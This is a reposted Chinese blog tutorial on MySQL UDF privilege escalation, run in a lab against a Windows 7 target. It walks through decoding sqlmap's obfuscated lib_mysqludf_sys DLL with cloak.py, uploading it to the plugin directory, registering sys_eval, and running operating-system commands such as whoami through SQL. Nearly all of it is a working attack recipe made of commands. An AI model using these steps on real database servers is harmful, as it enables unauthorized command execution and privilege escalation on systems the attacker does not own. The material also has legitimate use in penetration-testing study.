0


UDF提权(mysql)

环境

攻击机 win10

靶机 win7(192.168.20.130)

1.什么是UDF:用户自定义函数

udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就像使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

2.前提

mysql5.0以上的需要在mysql安装目录的lib目录下新建一个plugin文件夹,5.0以下的,上传目录为D:/windows

3.查看mysql位数

show variables like '%compile%';

4.打开sqlmap文件夹

5.dl_文件为了防止误杀,dll_文件会经过异或编码,不能直接用,如果想用的话需要对其进行解码

6.解码

执行python cloak.py -d -i

D:\python3.10.0\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

7.上传dll文件至指定文件夹(mysql安装目录下的lib/plugin/)

8.在mysql命令行导入函数

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

9.执行命令

select sys_eval('whoami');


本文转载自: https://blog.csdn.net/m0_63127854/article/details/125250553
版权归原作者 不知名白帽 所有, 如有侵权,请联系我们删除。

“UDF提权(mysql)”的评论:

还没有评论